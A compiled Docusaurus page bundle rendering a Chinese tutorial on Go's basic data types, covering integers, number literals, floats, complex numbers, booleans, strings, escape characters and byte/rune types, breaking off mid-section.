l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u636e\u7c7b\u578b","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u57fa\u672c\u6570\u636e\u7c7b\u578b","description":"\u6574\u578b","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/03.GoLang-\u6570\u636e\u7c7b\u578b.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u636e\u7c7b\u578b","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u636e\u7c7b\u578b","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/03.GoLang-\u6570\u636e\u7c7b\u578b.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53d8\u91cf\u548c\u5e38\u91cf","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53d8\u91cf\u5e38\u91cf"},"next":{"title":"GoLang-\u8fd0\u7b97\u7b26","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u8fd0\u7b97\u7b26"}}');var s=t(74848),r=t(28453);const i={},c="Go\u8bed\u8a00\u57fa\u7840\u4e4b\u57fa\u672c\u6570\u636e\u7c7b\u578b",d={},x=[{value:"\u6574\u578b",id:"\u6574\u578b",level:2},{value:"\u7279\u6b8a\u6574\u578b",id:"\u7279\u6b8a\u6574\u578b",level:3},{value:"\u6570\u5b57\u5b57\u9762\u91cf\u8bed\u6cd5\uff08Number literals syntax\uff09",id:"\u6570\u5b57\u5b57\u9762\u91cf\u8bed\u6cd5number-literals-syntax",level:3},{value:"\u6d6e\u70b9\u578b",id:"\u6d6e\u70b9\u578b",level:2},{value:"\u590d\u6570",id:"\u590d\u6570",level:2},{value:"\u5e03\u5c14\u503c",id:"\u5e03\u5c14\u503c",level:2},{value:"\u5b57\u7b26\u4e32",id:"\u5b57\u7b26\u4e32",level:2},{value:"\u5b57\u7b26\u4e32\u8f6c\u4e49\u7b26",id:"\u5b57\u7b26\u4e32\u8f6c\u4e49\u7b26",level:3},{value:"\u591a\u884c\u5b57\u7b26\u4e32",id:"\u591a\u884c\u5b57\u7b26\u4e32",level:3},{value:"\u5b57\u7b26\u4e32\u7684\u5e38\u7528\u64cd\u4f5c",id:"\u5b57\u7b26\u4e32\u7684\u5e38\u7528\u64cd\u4f5c",level:3},{value:"byte\u548crune\u7c7b\u578b",id:"byte\u548crune\u7c7b\u578b",level:2},{value:"\u4fee\u6539\u5b57\u7b26\u4e32",id:"\u4fee\u6539\u5b57\u7b26\u4e32",level:3},{value:"\u7c7b\u578b\u8f6c\u6362",id:"\u7c7b\u578b\u8f6c\u6362",level:2}];function h(n){const e={code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...n.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(e.header,{children:(0,s.jsx)(e.h1,{id:"go\u8bed\u8a00\u57fa\u7840\u4e4b\u57fa\u672c\u6570\u636e\u7c7b\u578b",children:"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u57fa\u672c\u6570\u636e\u7c7b\u578b"})}),"\n",(0,s.jsx)(e.h2,{id:"\u6574\u578b",children:"\u6574\u578b"}),"\n",(0,s.jsx)(e.p,{children:"\u6574\u578b\u5206\u4e3a\u4ee5\u4e0b\u4e24\u4e2a\u5927\u7c7b\uff1a \u6309\u957f\u5ea6\u5206\u4e3a\uff1aint8\u3001int16\u3001int32\u3001int64 \u5bf9\u5e94\u7684\u65e0\u7b26\u53f7\u6574\u578b\uff1auint8\u3001uint16\u3001uint32\u3001uint64"}),"\n",(0,s.jsxs)(e.p,{children:["\u5176\u4e2d\uff0c",(0,s.jsx)(e.code,{children:"uint8"}),"\u5c31\u662f\u6211\u4eec\u719f\u77e5\u7684",(0,s.jsx)(e.code,{children:"byte"}),"\u578b\uff0c",(0,s.jsx)(e.code,{children:"int16"}),"\u5bf9\u5e94C\u8bed\u8a00\u4e2d\u7684",(0,s.jsx)(e.code,{children:"short"}),"\u578b\uff0c",(0,s.jsx)(e.code,{children:"int64"}),"\u5bf9\u5e94C\u8bed\u8a00\u4e2d\u7684",(0,s.jsx)(e.code,{children:"long"}),"\u578b\u3002"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u7c7b\u578b"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u63cf\u8ff0"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"uint8"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u65e0\u7b26\u53f7 8\u4f4d\u6574\u578b (0 \u5230 255)"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"uint16"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u65e0\u7b26\u53f7 16\u4f4d\u6574\u578b (0 \u5230 65535)"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"uint32"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u65e0\u7b26\u53f7 32\u4f4d\u6574\u578b (0 \u5230 4294967295)"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"uint64"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u65e0\u7b26\u53f7 64\u4f4d\u6574\u578b (0 \u5230 18446744073709551615)"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"int8"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6709\u7b26\u53f7 8\u4f4d\u6574\u578b (-128 \u5230 127)"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"int16"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6709\u7b26\u53f7 16\u4f4d\u6574\u578b (-32768 \u5230 32767)"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"int32"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6709\u7b26\u53f7 32\u4f4d\u6574\u578b (-2147483648 \u5230 2147483647)"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"int64"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6709\u7b26\u53f7 64\u4f4d\u6574\u578b (-9223372036854775808 \u5230 9223372036854775807)"})]})]})]}),"\n",(0,s.jsx)(e.h3,{id:"\u7279\u6b8a\u6574\u578b",children:"\u7279\u6b8a\u6574\u578b"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u7c7b\u578b"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u63cf\u8ff0"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"uint"}),(0,s.jsxs)(e.td,{style:{textAlign:"center"},children:["32\u4f4d\u64cd\u4f5c\u7cfb\u7edf\u4e0a\u5c31\u662f",(0,s.jsx)(e.code,{children:"uint32"}),"\uff0c64\u4f4d\u64cd\u4f5c\u7cfb\u7edf\u4e0a\u5c31\u662f",(0,s.jsx)(e.code,{children:"uint64"})]})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"int"}),(0,s.jsxs)(e.td,{style:{textAlign:"center"},children:["32\u4f4d\u64cd\u4f5c\u7cfb\u7edf\u4e0a\u5c31\u662f",(0,s.jsx)(e.code,{children:"int32"}),"\uff0c64\u4f4d\u64cd\u4f5c\u7cfb\u7edf\u4e0a\u5c31\u662f",(0,s.jsx)(e.code,{children:"int64"})]})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"uintptr"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u65e0\u7b26\u53f7\u6574\u578b\uff0c\u7528\u4e8e\u5b58\u653e\u4e00\u4e2a\u6307\u9488"})]})]})]}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.strong,{children:"\u6ce8\u610f\uff1a"})," \u5728\u4f7f\u7528",(0,s.jsx)(e.code,{children:"int"}),"\u548c ",(0,s.jsx)(e.code,{children:"uint"}),"\u7c7b\u578b\u65f6\uff0c\u4e0d\u80fd\u5047\u5b9a\u5b83\u662f32\u4f4d\u621664\u4f4d\u7684\u6574\u578b\uff0c\u800c\u662f\u8003\u8651",(0,s.jsx)(e.code,{children:"int"}),"\u548c",(0,s.jsx)(e.code,{children:"uint"}),"\u53ef\u80fd\u5728\u4e0d\u540c\u5e73\u53f0\u4e0a\u7684\u5dee\u5f02\u3002"]}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.strong,{children:"\u6ce8\u610f\u4e8b\u9879"})," \u83b7\u53d6\u5bf9\u8c61\u7684\u957f\u5ea6\u7684\u5185\u5efa",(0,s.jsx)(e.code,{children:"len()"}),"\u51fd\u6570\u8fd4\u56de\u7684\u957f\u5ea6\u53ef\u4ee5\u6839\u636e\u4e0d\u540c\u5e73\u53f0\u7684\u5b57\u8282\u957f\u5ea6\u8fdb\u884c\u53d8\u5316\u3002\u5b9e\u9645\u4f7f\u7528\u4e2d\uff0c\u5207\u7247\u6216 map \u7684\u5143\u7d20\u6570\u91cf\u7b49\u90fd\u53ef\u4ee5\u7528",(0,s.jsx)(e.code,{children:"int"}),"\u6765\u8868\u793a\u3002\u5728\u6d89\u53ca\u5230\u4e8c\u8fdb\u5236\u4f20\u8f93\u3001\u8bfb\u5199\u6587\u4ef6\u7684\u7ed3\u6784\u63cf\u8ff0\u65f6\uff0c\u4e3a\u4e86\u4fdd\u6301\u6587\u4ef6\u7684\u7ed3\u6784\u4e0d\u4f1a\u53d7\u5230\u4e0d\u540c\u7f16\u8bd1\u76ee\u6807\u5e73\u53f0\u5b57\u8282\u957f\u5ea6\u7684\u5f71\u54cd\uff0c\u4e0d\u8981\u4f7f\u7528",(0,s.jsx)(e.code,{children:"int"}),"\u548c ",(0,s.jsx)(e.code,{children:"uint"}),"\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"\u6570\u5b57\u5b57\u9762\u91cf\u8bed\u6cd5number-literals-syntax",children:"\u6570\u5b57\u5b57\u9762\u91cf\u8bed\u6cd5\uff08Number literals syntax\uff09"}),"\n",(0,s.jsx)(e.p,{children:"Go1.13\u7248\u672c\u4e4b\u540e\u5f15\u5165\u4e86\u6570\u5b57\u5b57\u9762\u91cf\u8bed\u6cd5\uff0c\u8fd9\u6837\u4fbf\u4e8e\u5f00\u53d1\u8005\u4ee5\u4e8c\u8fdb\u5236\u3001\u516b\u8fdb\u5236\u6216\u5341\u516d\u8fdb\u5236\u6d6e\u70b9\u6570\u7684\u683c\u5f0f\u5b9a\u4e49\u6570\u5b57\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.code,{children:"v := 0b00101101"}),"\uff0c \u4ee3\u8868\u4e8c\u8fdb\u5236\u7684 101101\uff0c\u76f8\u5f53\u4e8e\u5341\u8fdb\u5236\u7684 45\u3002 ",(0,s.jsx)(e.code,{children:"v := 0o377"}),"\uff0c\u4ee3\u8868\u516b\u8fdb\u5236\u7684 377\uff0c\u76f8\u5f53\u4e8e\u5341\u8fdb\u5236\u7684 255\u3002 ",(0,s.jsx)(e.code,{children:"v := 0x1p-2"}),"\uff0c\u4ee3\u8868\u5341\u516d\u8fdb\u5236\u7684 1 \u9664\u4ee5 2\xb2\uff0c\u4e5f\u5c31\u662f 0.25\u3002"]}),"\n",(0,s.jsxs)(e.p,{children:["\u800c\u4e14\u8fd8\u5141\u8bb8\u6211\u4eec\u7528 ",(0,s.jsx)(e.code,{children:"_"})," \u6765\u5206\u9694\u6570\u5b57\uff0c\u6bd4\u5982\u8bf4\uff1a ",(0,s.jsx)(e.code,{children:"v := 123_456"})," \u8868\u793a v \u7684\u503c\u7b49\u4e8e 123456\u3002"]}),"\n",(0,s.jsx)(e.p,{children:"\u6211\u4eec\u53ef\u4ee5\u501f\u52a9fmt\u51fd\u6570\u6765\u5c06\u4e00\u4e2a\u6574\u6570\u4ee5\u4e0d\u540c\u8fdb\u5236\u5f62\u5f0f\u5c55\u793a\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'package main\n \nimport "fmt"\n \nfunc main(){\n\t// \u5341\u8fdb\u5236\n\tvar a int = 10\n\tfmt.Printf("%d \\n", a) // 10\n\tfmt.Printf("%b \\n", a) // 1010 \u5360\u4f4d\u7b26%b\u8868\u793a\u4e8c\u8fdb\u5236\n \n\t// \u516b\u8fdb\u5236 \u4ee50\u5f00\u5934\n\tvar b int = 077\n\tfmt.Printf("%o \\n", b) // 77\n \n\t// \u5341\u516d\u8fdb\u5236 \u4ee50x\u5f00\u5934\n\tvar c int = 0xff\n\tfmt.Printf("%x \\n", c) // ff\n\tfmt.Printf("%X \\n", c) // FF\n}\n'})}),"\n",(0,s.jsx)(e.h2,{id:"\u6d6e\u70b9\u578b",children:"\u6d6e\u70b9\u578b"}),"\n",(0,s.jsxs)(e.p,{children:["Go\u8bed\u8a00\u652f\u6301\u4e24\u79cd\u6d6e\u70b9\u578b\u6570\uff1a",(0,s.jsx)(e.code,{children:"float32"}),"\u548c",(0,s.jsx)(e.code,{children:"float64"}),"\u3002\u8fd9\u4e24\u79cd\u6d6e\u70b9\u578b\u6570\u636e\u683c\u5f0f\u9075\u5faa",(0,s.jsx)(e.code,{children:"IEEE 754"}),"\u6807\u51c6\uff1a ",(0,s.jsx)(e.code,{children:"float32"})," \u7684\u6d6e\u70b9\u6570\u7684\u6700\u5927\u8303\u56f4\u7ea6\u4e3a ",(0,s.jsx)(e.code,{children:"3.4e38"}),"\uff0c\u53ef\u4ee5\u4f7f\u7528\u5e38\u91cf\u5b9a\u4e49\uff1a",(0,s.jsx)(e.code,{children:"math.MaxFloat32"}),"\u3002 ",(0,s.jsx)(e.code,{children:"float64"})," \u7684\u6d6e\u70b9\u6570\u7684\u6700\u5927\u8303\u56f4\u7ea6\u4e3a ",(0,s.jsx)(e.code,{children:"1.8e308"}),"\uff0c\u53ef\u4ee5\u4f7f\u7528\u4e00\u4e2a\u5e38\u91cf\u5b9a\u4e49\uff1a",(0,s.jsx)(e.code,{children:"math.MaxFloat64"}),"\u3002"]}),"\n",(0,s.jsxs)(e.p,{children:["\u6253\u5370\u6d6e\u70b9\u6570\u65f6\uff0c\u53ef\u4ee5\u4f7f\u7528",(0,s.jsx)(e.code,{children:"fmt"}),"\u5305\u914d\u5408\u52a8\u8bcd",(0,s.jsx)(e.code,{children:"%f"}),"\uff0c\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'package main\nimport (\n "fmt"\n "math"\n)\nfunc main() {\n fmt.Printf("%f\\n", math.Pi)\n fmt.Printf("%.2f\\n", math.Pi)\n}\n'})}),"\n",(0,s.jsx)(e.h2,{id:"\u590d\u6570",children:"\u590d\u6570"}),"\n",(0,s.jsx)(e.p,{children:"complex64\u548ccomplex128"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"var c1 complex64\nc1 = 1 + 2i\nvar c2 complex128\nc2 = 2 + 3i\nfmt.Println(c1)\nfmt.Println(c2)\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u590d\u6570\u6709\u5b9e\u90e8\u548c\u865a\u90e8\uff0ccomplex64\u7684\u5b9e\u90e8\u548c\u865a\u90e8\u4e3a32\u4f4d\uff0ccomplex128\u7684\u5b9e\u90e8\u548c\u865a\u90e8\u4e3a64\u4f4d\u3002"}),"\n",(0,s.jsx)(e.h2,{id:"\u5e03\u5c14\u503c",children:"\u5e03\u5c14\u503c"}),"\n",(0,s.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u4ee5",(0,s.jsx)(e.code,{children:"bool"}),"\u7c7b\u578b\u8fdb\u884c\u58f0\u660e\u5e03\u5c14\u578b\u6570\u636e\uff0c\u5e03\u5c14\u578b\u6570\u636e\u53ea\u6709",(0,s.jsx)(e.code,{children:"true\uff08\u771f\uff09"}),"\u548c",(0,s.jsx)(e.code,{children:"false\uff08\u5047\uff09"}),"\u4e24\u4e2a\u503c\u3002"]}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.strong,{children:"\u6ce8\u610f\uff1a"})}),"\n",(0,s.jsxs)(e.ol,{children:["\n",(0,s.jsxs)(e.li,{children:["\u5e03\u5c14\u7c7b\u578b\u53d8\u91cf\u7684\u9ed8\u8ba4\u503c\u4e3a",(0,s.jsx)(e.code,{children:"false"}),"\u3002"]}),"\n",(0,s.jsx)(e.li,{children:"Go \u8bed\u8a00\u4e2d\u4e0d\u5141\u8bb8\u5c06\u6574\u578b\u5f3a\u5236\u8f6c\u6362\u4e3a\u5e03\u5c14\u578b."}),"\n",(0,s.jsx)(e.li,{children:"\u5e03\u5c14\u578b\u65e0\u6cd5\u53c2\u4e0e\u6570\u503c\u8fd0\u7b97\uff0c\u4e5f\u65e0\u6cd5\u4e0e\u5176\u4ed6\u7c7b\u578b\u8fdb\u884c\u8f6c\u6362\u3002"}),"\n"]}),"\n",(0,s.jsx)(e.h2,{id:"\u5b57\u7b26\u4e32",children:"\u5b57\u7b26\u4e32"}),"\n",(0,s.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u7684\u5b57\u7b26\u4e32\u4ee5\u539f\u751f\u6570\u636e\u7c7b\u578b\u51fa\u73b0\uff0c\u4f7f\u7528\u5b57\u7b26\u4e32\u5c31\u50cf\u4f7f\u7528\u5176\u4ed6\u539f\u751f\u6570\u636e\u7c7b\u578b\uff08int\u3001bool\u3001float32\u3001float64 \u7b49\uff09\u4e00\u6837\u3002 Go \u8bed\u8a00\u91cc\u7684\u5b57\u7b26\u4e32\u7684\u5185\u90e8\u5b9e\u73b0\u4f7f\u7528",(0,s.jsx)(e.code,{children:"UTF-8"}),"\u7f16\u7801\u3002 \u5b57\u7b26\u4e32\u7684\u503c\u4e3a",(0,s.jsx)(e.code,{children:'\u53cc\u5f15\u53f7(")'}),"\u4e2d\u7684\u5185\u5bb9\uff0c\u53ef\u4ee5\u5728Go\u8bed\u8a00\u7684\u6e90\u7801\u4e2d\u76f4\u63a5\u6dfb\u52a0\u975eASCII\u7801\u5b57\u7b26\uff0c\u4f8b\u5982\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'s1 := "hello"\ns2 := "\u4f60\u597d"\n'})}),"\n",(0,s.jsx)(e.h3,{id:"\u5b57\u7b26\u4e32\u8f6c\u4e49\u7b26",children:"\u5b57\u7b26\u4e32\u8f6c\u4e49\u7b26"}),"\n",(0,s.jsx)(e.p,{children:"Go \u8bed\u8a00\u7684\u5b57\u7b26\u4e32\u5e38\u89c1\u8f6c\u4e49\u7b26\u5305\u542b\u56de\u8f66\u3001\u6362\u884c\u3001\u5355\u53cc\u5f15\u53f7\u3001\u5236\u8868\u7b26\u7b49\uff0c\u5982\u4e0b\u8868\u6240\u793a\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u8f6c\u4e49\u7b26"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u542b\u4e49"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:(0,s.jsx)(e.code,{children:"\\r"})}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u56de\u8f66\u7b26\uff08\u8fd4\u56de\u884c\u9996\uff09"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:(0,s.jsx)(e.code,{children:"\\n"})}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6362\u884c\u7b26\uff08\u76f4\u63a5\u8df3\u5230\u4e0b\u4e00\u884c\u7684\u540c\u5217\u4f4d\u7f6e\uff09"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:(0,s.jsx)(e.code,{children:"\\t"})}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5236\u8868\u7b26"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:(0,s.jsx)(e.code,{children:"\\'"})}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5355\u5f15\u53f7"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:(0,s.jsx)(e.code,{children:'\\"'})}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u53cc\u5f15\u53f7"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:(0,s.jsx)(e.code,{children:"\\\\"})}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u53cd\u659c\u6760"})]})]})]}),"\n",(0,s.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff0c\u6211\u4eec\u8981\u6253\u5370\u4e00\u4e2aWindows\u5e73\u53f0\u4e0b\u7684\u4e00\u4e2a\u6587\u4ef6\u8def\u5f84\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'package main\nimport (\n "fmt"\n)\nfunc main() {\n fmt.Println("str := \\"c:\\\\Code\\\\lesson1\\\\go.exe\\"")\n}\n'})}),"\n",(0,s.jsx)(e.h3,{id:"\u591a\u884c\u5b57\u7b26\u4e32",children:"\u591a\u884c\u5b57\u7b26\u4e32"}),"\n",(0,s.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u8981\u5b9a\u4e49\u4e00\u4e2a\u591a\u884c\u5b57\u7b26\u4e32\u65f6\uff0c\u5c31\u5fc5\u987b\u4f7f\u7528",(0,s.jsx)(e.code,{children:"\u53cd\u5f15\u53f7"}),"\u5b57\u7b26\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"s1 := `\u7b2c\u4e00\u884c\n\u7b2c\u4e8c\u884c\n\u7b2c\u4e09\u884c\n`\nfmt.Println(s1)\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u53cd\u5f15\u53f7\u95f4\u6362\u884c\u5c06\u88ab\u4f5c\u4e3a\u5b57\u7b26\u4e32\u4e2d\u7684\u6362\u884c\uff0c\u4f46\u662f\u6240\u6709\u7684\u8f6c\u4e49\u5b57\u7b26\u5747\u65e0\u6548\uff0c\u6587\u672c\u5c06\u4f1a\u539f\u6837\u8f93\u51fa\u3002"}),"\n",(0,s.jsx)(e.h3,{id:"\u5b57\u7b26\u4e32\u7684\u5e38\u7528\u64cd\u4f5c",children:"\u5b57\u7b26\u4e32\u7684\u5e38\u7528\u64cd\u4f5c"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u65b9\u6cd5"}),(0,s.jsx)(e.th,{style:{textAlign:"center"},children:"\u4ecb\u7ecd"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"len(str)"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u6c42\u957f\u5ea6"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"+\u6216fmt.Sprintf"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u62fc\u63a5\u5b57\u7b26\u4e32"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"strings.Split"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5206\u5272"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"strings.contains"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5224\u65ad\u662f\u5426\u5305\u542b"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"strings.HasPrefix,strings.HasSuffix"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u524d\u7f00/\u540e\u7f00\u5224\u65ad"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"strings.Index(),strings.LastIndex()"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"\u5b50\u4e32\u51fa\u73b0\u7684\u4f4d\u7f6e"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"strings.Join(a[]string, sep string)"}),(0,s.jsx)(e.td,{style:{textAlign:"center"},children:"join\u64cd\u4f5c"})]})]})]}),"\n",(0,s.jsx)(e.h2,{id:"byte\u548crune\u7c7b\u578b",children:"byte\u548crune\u7c7b\u578b"}),"\n",(0,s.jsx)(e.p,{children:"\u7ec4\u6210\u6bcf\u4e2a\u5b57\u7b26\u4e32\u7684\u5143\u7d20\u53eb\u505a\u201c\u5b57\u7b26\u201d\uff0c\u53ef\u4ee5\u901a\u8fc7\u904d\u5386\u6216\u8005\u5355\u4e2a\u83b7\u53d6\u5b57\u7b26\u4e32\u5143\u7d20\u83b7\u5f97\u5b57\u7b26\u3002 \u5b57\u7b26\u7528\u5355\u5f15\u53f7\uff08\u2019\uff09\u5305\u88f9\u8d77\u6765\uff0c\u5982\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"var a = '\u4e2d'\nvar b = 'x'\n"})}),"\n",(0,s.jsx)(e.p,{children:"Go \u8bed\u8a00\u7684\u5b57\u7b26\u6709\u4ee5\u4e0b\u4e24\u79cd\uff1a"}),"\n",(0,s.jsxs)(e.ol,{children:["\n",(0,s.jsxs)(e.li,{children:[(0,s.jsx)(e.code,{children:"uint8"}),"\u7c7b\u578b\uff0c\u6216\u8005\u53eb byte \u578b\uff0c\u4ee3\u8868\u4e00\u4e2a",(0,s.jsx)(e.code,{children:"ASCII\u7801"}),"\u5b57\u7b26\u3002"]}),"\n",(0,s.jsxs)(e.li,{children:[(0,s.jsx)(e.code,{children:"rune"}),"\u7c7b\u578b\uff0c\u4ee3\u8868\u4e00\u4e2a ",(0,s.jsx)(e.code,{children:"UTF-8\u5b57\u7b26"}),"\u3002"]}),"\n"]}),"\n",(0,s.jsxs)(e.p,{children:["\u5f53\u9700\u8981\u5904\u7406\u4e2d\u6587\u3001\u65e5\u6587\u6216\u8005\u5176\u4ed6\u590d\u5408\u5b57\u7b26\u65f6\uff0c\u5219\u9700\u8981\u7528\u5230",(0,s.jsx)(e.code,{children:"rune"}),"\u7c7b\u578b\u3002",(0,s.jsx)(e.code,{children:"rune"}),"\u7c7b\u578b\u5b9e\u9645\u662f\u4e00\u4e2a",(0,s.jsx)(e.code,{children:"int32"}),"\u3002"]}),"\n",(0,s.jsx)(e.p,{children:"Go \u4f7f\u7528\u4e86\u7279\u6b8a\u7684 